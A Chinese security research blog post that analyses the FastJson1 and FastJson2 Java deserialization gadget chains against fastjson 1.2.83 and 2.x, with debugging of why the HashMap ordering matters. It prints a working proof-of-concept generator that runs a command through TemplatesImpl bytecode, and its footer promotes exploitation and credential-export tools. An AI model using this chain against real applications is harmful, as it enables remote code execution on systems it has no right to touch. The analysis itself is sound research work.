FastJson1&FastJson2反序列化利用链分析

文摘   2024-08-05 07:00   四川  

前言

写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。

漏洞环境

fastjson1.2.83&fastjson2.x

利用链分析

我先给出我所使用的测试版payload,其大部分内容源自Y4er/ysoserial,我只是从payload当中截取出了一部分内容作为我的测试代码,并加入了一些必须的代码段,如下所示:

public class FastJson2 {
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.makeClass("Test"); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"calc\");"; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); }
public static void setFieldValue(Object obj,String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { byte[] code = getTemplates();
//装载Templates TemplatesImpl template2 = new TemplatesImpl(); TemplatesImpl template = new TemplatesImpl(); setFieldValue(template, "_bytecodes", new byte[][] {code}); setFieldValue(template, "_name", "Evil");

JSONArray jsonArray = new JSONArray(); jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();// hashMap.put(badAttributeValueExpException,template); hashMap.put(template, badAttributeValueExpException); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); System.out.println(barr.toByteArray()[1522]); try{ Object o = ois.readObject(); }catch (Exception e){ } }}

我们可以直接将断点打到TemplatesImpl对象的newTransformer()上面,因为如果该利用链想要动态加载类的话,就必须要经过这个函数。由此我们可以得到一个完整的利用链,如下所示:

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)at com.alibaba.fastjson.JSON.toString(JSON.java:1071)at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)at java.util.HashMap.readObject(HashMap.java:1404)at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)

BadAttributeValueExpException对象事实上并不陌生,在rome利用链当中就曾出现过它的身影,当时的目的是通过它的readObject方法调用ToStringBean的toString方法,从而引发rome利用链。在这里val字段的值是一个JSONArray对象,所以会调用JSONArray的toString方法。但是由于JSONArray本身并没有toString方法,这里会直接调用JSON的ToString方法(JSONArray extends JSON)

在JSON的ToString会调用自身的toJSONString方法,而toJSONString方法能够调用任意类的getter方法,从而实现了getOutputProperties方法的调用,如下是toJSONString方法

toJsonString是如何实现getter的调用的? 

这就要谈到ASM在FastJson当中的应用,Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,比如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考[4]-[6]。

比如说,这一部分的函数调用从JSONSerializer.write到ListSerializer.write,然后在ListSerializer.write生成了一个反序列化工具类并赋给了itemSerializer。这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。最后调用的write方法也是调用这个动态生成的类里面的方法,也就是在这个类里面调用的任意类的getter方法。

我们在调试当中没有办法看到动态生成的代码具体内容,所以这里我选择使用arthas工具来把这个类dump下来。其他方式可以参考[5]  为此我们需要在我们的测试代码当中加入一段自循环,让这个程序进程能够让arthas监控到。

public static void main(String[] args) throws Exception {        byte[] code = getTemplates();
//装载Templates TemplatesImpl template2 = new TemplatesImpl(); TemplatesImpl template = new TemplatesImpl(); setFieldValue(template, "_bytecodes", new byte[][] {code}); setFieldValue(template, "_name", "Evil");

JSONArray jsonArray = new JSONArray(); jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();// hashMap.put(badAttributeValueExpException,template); hashMap.put(template, badAttributeValueExpException); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); System.out.println(barr.toByteArray()[1522]); try{ Object o = ois.readObject(); }catch (Exception e){ } while(true){}
}

启动arthas之后,然后将arthas attach到目标进程上面

然后使用jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl把这个类的内容dump下来,结果如下:这个类的内容很长,这里只保留write函数

Location:/D:/Java_Tools/apache-maven-3.8.8/mvn_repo/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
/* * Decompiled with CFR. */package com.alibaba.fastjson.serializer;
import com.alibaba.fastjson.serializer.JSONSerializer;import com.alibaba.fastjson.serializer.JavaBeanSerializer;import com.alibaba.fastjson.serializer.ObjectSerializer;import com.alibaba.fastjson.serializer.SerialContext;import com.alibaba.fastjson.serializer.SerializeBeanInfo;import com.alibaba.fastjson.serializer.SerializeWriter;import com.alibaba.fastjson.util.ASMUtils;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.io.IOException;import java.lang.reflect.Type;import java.util.Properties;
public class ASMSerializer_1_TemplatesImplextends JavaBeanSerializerimplements ObjectSerializer { public Type outputProperties_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getOutputProperties"); public ObjectSerializer outputProperties_asm_ser_; public Type stylesheetDOM_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getStylesheetDOM"); public ObjectSerializer stylesheetDOM_asm_ser_;
public ASMSerializer_1_TemplatesImpl(SerializeBeanInfo serializeBeanInfo) { super(serializeBeanInfo); }
public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException { ObjectSerializer objectSerializer; if (object == null) { jSONSerializer.writeNull(); return; } SerializeWriter serializeWriter = jSONSerializer.out; if (!this.writeDirect(jSONSerializer)) { this.writeNormal(jSONSerializer, object, object2, type, n); return; } if (serializeWriter.isEnabled(32768)) { this.writeDirectNonContext(jSONSerializer, object, object2, type, n); return; } TemplatesImpl templatesImpl = (TemplatesImpl)object; if (this.writeReference(jSONSerializer, object, n)) { return; } if (serializeWriter.isEnabled(0x200000)) { this.writeAsArray(jSONSerializer, object, object2, type, n); return; } SerialContext serialContext = jSONSerializer.getContext(); jSONSerializer.setContext(serialContext, object, object2, 0); int n2 = 123; String string = "outputProperties"; Object object3 = templatesImpl.getOutputProperties(); if (object3 == null) { if (serializeWriter.isEnabled(964)) { serializeWriter.write(n2); serializeWriter.writeFieldNameDirect(string); serializeWriter.writeNull(0, 0); n2 = 44; } } else { serializeWriter.write(n2); serializeWriter.writeFieldNameDirect(string); if (object3.getClass() == Properties.class) { if (this.outputProperties_asm_ser_ == null) { this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class); } if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) { ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0); } else { objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0); } } else { jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0); } n2 = 44; } string = "stylesheetDOM"; if (!serializeWriter.isEnabled(0x2000000)) { object3 = templatesImpl.getStylesheetDOM(); if (object3 == null) { if (serializeWriter.isEnabled(964)) { serializeWriter.write(n2); serializeWriter.writeFieldNameDirect(string); serializeWriter.writeNull(0, 0); n2 = 44; } } else { serializeWriter.write(n2); serializeWriter.writeFieldNameDirect(string); if (object3.getClass() == DOM.class) { if (this.stylesheetDOM_asm_ser_ == null) { this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class); } if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) { ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0); } else { objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0); } } else { jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0); } n2 = 44; } } string = "transletIndex"; int n3 = templatesImpl.getTransletIndex(); serializeWriter.writeFieldValue((char)n2, string, n3); n2 = 44; if (n2 == 123) { serializeWriter.write(123); } serializeWriter.write(125); jSONSerializer.setContext(serialContext); } ........... ............ ...........}

从上面的write函数当中,我们就能够看到它依次调用了所有的getter方法。  

关于payload当中的未解之谜 

fastjson1&fastjson2利用链当中,我们可以发现其中有一个行payload构造如下

hashMap.put(template, badAttributeValueExpException);//payload1,下文涉及该payload的内容,均写为payload1

按照调用关系来讲,我们完全可以写成如下的形式:([something]是指任意对象)

hashMap.put([somthing], badAttributeValueExpException);//payload2,下文涉及该payload的内容,均写为payload2

但是我们发现不行,程序在运行过程中会抛出InvocationTargetException异常,从而造成程序没有办法按照预期的逻辑走到TemplatesImpl当中的getOutputPorperties(),它的构造形式必须是hashMap.put(template, badAttributeValueExpException)更换位置、改变对象都无法使payload正常生效。

出错的原因 

如下是我的调试过程: 
这里经过了很多遍调试最终锁定的问题出现位置是badAttributeValueExpException的readobject,这时候前面的template已经处理完了。单步进入第一行的readFields().

然后跟着程序执行逻辑走到getField.readFields()当中,单步进入getField.readFields()

然后走到readobject0(),单步进入该函数

在readObejct0函数当中会进行字段类型的判断,当中字段的类型是Obejct类型的时候就会进入TC_Object分支,这里我们的字段是JsonArray

单步进入readOrdinaryObject函数,往下走会走到readSerialData函数的调用处,单步进入该函数

在该函数当中会对字段的内容进行反序列化操作,会经过一系列的函数调用,其目的是调用该字段类的readobject方法

单步进入invokeReadObject方法

经过如下的一些列函数调用,最终的目的地就是JsonArray的readObejct()方法。invokeReadObject->readObjectMethod.invoke->DelegatingMethodAccessorImpl.invoke->delegate.invoke->invoke0

最终到达目的地调用JsonArray的readObejct方法,该函数方法里面会调用defaultReadObject()方法,单步进入该方法

在defaultReadObject()方法当中其实就是又来一遍之前的内容,从readFields函数调用开始从走一遍,只不过这里调用的方法是defaultReadFields()

这里的嵌套调用是ArrayList类型的字段,这里的逻辑就会通过层层调用方法,想要去反射调用ArrayList的readObject方法

在ArrayListreadObject的最后,会调用一次readObject方法,这一次调用的目标对象是TemplatesImpl,这个我们从payload对象的构造上就能够获知

它的readObject方法同理也是需要经过多次反复调用,最终通过invoke方法进行反射调用,最终的代码段如下所示,该代码段位于TemplatesImpl#readObject内部,其会调用ois的readFields进行字段读取,就像之前梳理其他字段的过程一样

我们直接来到处理最关键字段的过程(我们写入的字节流对象),他首先从我们输入的序列化字节流当中拿到了对应的类型为TC_Array

单步进入readArray当中进行处理

然后单步进入ObjectInputStream#readClassDesc()

然后单步进入readNonProxyDesc(),如下所示,readDesc对象在处理当中被赋值为了序列化的字节数组对象(_bytecodes)

单步进入resolveClass,问题就出现在这里,整个程序的运行逻辑会从这里直接断开抛出异常,这里的[[B类型通过前面的判断之后走到最下面的TypeUtils.getClassFromMapping()的时候已经成为了B,此时调用的resolveClass是JSONObject#resolveClass

很显然在fastjson的checkautotype当中B这种序列化后的类型表示是并不存在的,所以直接返回报了错

问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?

经过调试后发现,他们所调用的resolveClass()并不是同一个resolveClass(),如果把TemplatesImpl放在前面,就像下面这样

hashMap.put(template, badAttributeValueExpException);

那么在处理第一个部分的template对象的时候调用的是ObjectInputStream#resolveClass(),如下图所示

这个resolveClass什么都不管直接把输入进来的类型直接放到forName里面去找,然后返回对应的类型,所以他完全可以正常执行,而不影响到后面

问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?

答案是存在绕过现象,在之前的流程分析当中,我们大致可以理清ois对于readObject的一些处理流程,他会调用readFields()函数来对对象中的字段进行读取。而readFields里面就发生了绕过的现象,他会从我们的序列化字节流里面去拿到对应的标识tc,在之前出现过TC_Object,TC_Array等等不同的类型。

但是如果使用的是第一个payload也就是正确的payload的时候,在处理JSONArray里面的template的时候,它所获得的TC标识并不是TC_Obejct而是TC_Reference

TC_REFERENCE,是一个引用类型。从前面的几个结构可以看出来,序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。

所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。

总结

首先是被嵌套在JSONArray里面的template对象,由于JSONObject#resolve()无法正常解析B类型的缘故,所以造成payload2无法正常执行,其次是前一个template对象在ObjectInputStream#resolveClass的作用下成功解析,并协助后面的JSONArray里面的template绕过了审查。

参考文章

https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/

https://www.163.com/dy/article/DMAD0T6P05119F6V.html


·推 荐 阅 读·

最新后渗透免杀工具

【护网必备】高危漏洞综合利用工具

   【护网必备】Shiro反序列化漏洞综合利用工具增强版

【护网必备】外网打点必备-WeblogicTool

护网必备】最新Struts2全版本漏洞检测工具

Nacos漏洞综合利用工具

重点OA系统漏洞利用综合工具箱  

【护网必备】海康威视RCE批量检测利用工具

【护网必备】浏览器用户密码|Cookie|书签|下载记录导出工具


横向移动之RDP&Desktop Session Hija


七芒星实验室
未知攻,焉知防,以攻促防,共筑安全!
 最新文章